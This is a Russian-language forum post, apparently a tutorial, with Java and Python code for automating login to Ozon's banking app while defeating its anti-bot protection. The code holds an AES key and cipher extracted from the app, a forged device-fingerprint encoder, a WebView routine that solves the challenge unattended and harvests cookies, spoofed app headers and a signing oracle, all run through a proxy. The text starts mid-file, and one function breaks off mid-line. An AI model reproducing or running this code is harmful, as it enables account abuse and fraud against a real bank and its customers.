private static String randHex(int n) {
SecureRandom r = new SecureRandom();
StringBuilder sb = new StringBuilder();
for (int k = 0; k < n; k++) sb.append(Character.forDigit(r.nextInt(16), 16));
return sb.toString();
}
}
Спойлер
Тот самый шифратор пейлоада родным ключом.
code
public final class MfEncoder {
private static final byte[] BLOB = hex(
"5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789" +
"290752c732d0da1d0a78cb327d53c8b66e61a67e6f6ae39c9bdf0d3c78832622" +
"4145534145532f4346422f4e6f50616464696e67");
public static String encode(String json) throws Exception {
byte[] key = slice(BLOB, 0, 32);
String cipher = new String(slice(BLOB, 67, 84), "UTF-8"); // AES/CFB/NoPadding
String algo = new String(slice(BLOB, 64, 67), "UTF-8"); // AES
String plain = System.currentTimeMillis() + "," + json;
byte[] iv = new byte[16];
new SecureRandom().nextBytes(iv);
Cipher c = Cipher.getInstance(cipher);
c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, algo), new IvParameterSpec(iv));
byte[] ct = c.doFinal(plain.getBytes("UTF-8"));
byte[] out = new byte[iv.length + ct.length];
System.arraycopy(iv, 0, out, 0, iv.length);
System.arraycopy(ct, 0, out, iv.length, ct.length);
return Base64.encodeToString(out, Base64.NO_WRAP);
}
private static byte[] slice(byte[] a, int i, int j) {
byte[] r = new byte[j - i]; System.arraycopy(a, i, r, 0, j - i); return r;
}
private static byte[] hex(String s) {
byte[] r = new byte[s.length() / 2];
for (int i = 0; i < r.length; i++) rСпойлер
WebView исполняет abt-challenge и мы забираем cookies. Никакого ручного участия.
code
public final class ChallengeSolver {
private static final String API = "https://api.ozon.ru";
public static String solve(Activity act, String url, Map<String,String> seed, long timeoutMs) {
final CountDownLatch latch = new CountDownLatch(1);
final CookieManager cm = CookieManager.getInstance();
cm.setAcceptCookie(true);
act.runOnUiThread(new Start(act, url, seed, cm, latch));
try { latch.await(timeoutMs, TimeUnit.MILLISECONDS); } catch (InterruptedException ignored) {}
return cm.getCookie(API);
}
static final class Start implements Runnable {
final Activity act; final String url; final Map<String,String> seed;
final CookieManager cm; final CountDownLatch latch;
Start(Activity a, String u, Map<String,String> s, CookieManager c, CountDownLatch l) {
act = a; url = u; seed = s; cm = c; latch = l;
}
public void run() {
WebView wv = new WebView(act);
WebSettings s = wv.getSettings();
s.setJavaScriptEnabled(true);
s.setDomStorageEnabled(true);
s.setDatabaseEnabled(true);
s.setUserAgentString("Mozilla/5.0 (Linux; Android 14; Pixel 7 Build/UP1A.231005.007; wv) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.0.0 Mobile Safari/537.36");
cm.setAcceptThirdPartyCookies(wv, true);
if (seed != null)
for (Map.Entry<String,String> e : seed.entrySet())
cm.setCookie(API, e.getKey() + "=" + e.getValue());
cm.flush();
act.setContentView(wv);
wv.setWebViewClient(new WebViewClient());
wv.loadUrl(url);
new Handler(Looper.getMainLooper()).postDelayed(new Poll(cm, latch), 1500);
}
}
static final class Poll implements Runnable {
final CookieManager cm; final CountDownLatch latch; String base; int tries;
Poll(CookieManager c, CountDownLatch l) { cm = c; latch = l; }
public void run() {
String c = cm.getCookie(API);
if (base == null) base = c;
if (tries++ >= 18 || (tries > 2 && c != null && !c.equals(base))) { latch.countDown(); return; }
new Handler(Looper.getMainLooper()).postDelayed(this, 1000);
}
}
}
Спойлер
Связка всего: initAuth -> entry -> mf -> челлендж -> entry. Подпись через оракул.
code
public static void run(Context ctx) throws Exception {
Identity id = Identity.load(ctx, "p10811");
Http http = new Http("192.168.3.66", 10811, "user", "pass");
// 1) initAuth
String initUrl = API + "/composer-api.bx/_action/initAuth?type=OnSessionInit";
http.req("POST", initUrl, "{\"clientId\":\"ozonbankfinance_android\",\"traceId\":null}", h(initUrl, "POST", id));
sleep(2500);
// 2) entry (ожидаем 403 + antibot)
String entry = API + "/composer-api.bx/_action/ozonIdPageEntry?iso=RU";
Http.Resp r = http.req("POST", entry, entryBody(id), h(entry, "POST", id));
r = follow(http, r, entryBody(id), id);
// 3) антибот-пейлоад
String abt = API + "/abt/result-mobile?isAsyncOnLogin=true";
String mf = MfEncoder.encode(Fingerprint.json("asyncOnLogin", id.androidId));
http.req("POST", abt, "{\"mf\":\"" + mf + "\",\"mfToken\":null,\"n\":null}", h(abt, "POST", id));
sleep(2500);
// 4) авто-солвер челленджа
String challenge = field(r.body, "challengeURL");
if (challenge != null && ctx instanceof Activity) {
String cookies = ChallengeSolver.solve((Activity) ctx, challenge, http.jar.entries(), 20000);
http.jar.merge(cookies);
sleep(1000);
}
// 5) повтор entry -> 200 EntryDTO
Http.Resp r2 = http.req("POST", entry, entryBody(id), h(entry, "POST", id));
r2 = follow(http, r2, entryBody(id), id);
Log.i("RATNET", "final: " + r2.code + " " + r2.body);
}
private static Map<String,String> h(String url, String method, Identity id) {
String ver = "19.33.1(16030341)";
Map<String,String> m = new LinkedHashMap<>();
m.put("Content-Type", "application/json");
m.put("User-Agent", UA);
m.put("x-requested-with", "ru.ozon.app");
m.put("x-o3-app-name", "ozonbankfinance_android");
m.put("x-o3-app-version", ver);
m.put("x-o3-device-type", "mobile");
m.put("x-o3-device-language", "ru");
m.put("x-o3-fp", "1.d9f8368943e8fe03");
m.put("x-app-uuid", id.installId);
m.put("x-ob-sessionid", id.sessionId);
m.put("x-ob-model-device", "Google Pixel 7");
m.put("x-ad-id", Sign.xadid(url, method, "ozonbankfinance_android", ver,
"1.d9f8368943e8fe03", id.installId));
return m;
}
Спойлер
Если не хочется поднимать Java-клиент, подпись можно запросить у оракула отдельно (например по локальному сокету), а весь флоу гонять на Python.
code
import requests, base64
API = 'https://api.ozon.ru'
XO3FP = '1.d9f8368943e8fe03'
def build_headers(url, method, app, ver, ad_id, xad_id):
return {
'content-type': 'application/json',
'user-agent': 'Mozilla/5.0 (Linux; Android 14; Pixel 7) AppleWebKit/537.36 Chrome/120 Mobile Safari/537.36',
'x-requested-with': 'ru.ozon.app',
'x-o3-app-name': app,
'x-o3-app-version': ver,
'x-o3-device-type': 'mobile',
'x-o3-device-language': 'ru',
'x-o3-fp': XO3FP,
'x-app-uuid': ad_id,
'x-ob-model-device': 'Google Pixel 7',
'x-ad-id': xad_id,
}
s = requests.Session()
r = s.post(f'{API}/composer-api.bx/_action/initAuth?type=OnSessionInit',
json={'clientId': 'ozonbankfinance_android', 'traceId': None})
r = s.post(f'{API}/composer-api.bx/_action/ozonIdPageEntry?iso=RU',
json={'deviceId': DEVICE_ID, 'supportCountrySelect': True})
mf = build_mf(fingerprint_dto('asyncOnLogin', ANDROID_ID))
s.post(f'{API}/abt/result-mobile?isAsyncOnLogin=true',
json={'mf': mf, 'mfToken': None, 'n': None})
r = s.post(f'{API}/composer-api.bx/_action/ozonIdPageEntry?iso=RU',
json={'deviceId': DEVICE_ID, 'supportCountrySelect': True})
print(r.status_code, r.text[:400])
Всем добра!
Ну вот и все, вроде ничего не забыл. Если было полезно - оставьте реакцию, мне будет приятно 🦊


















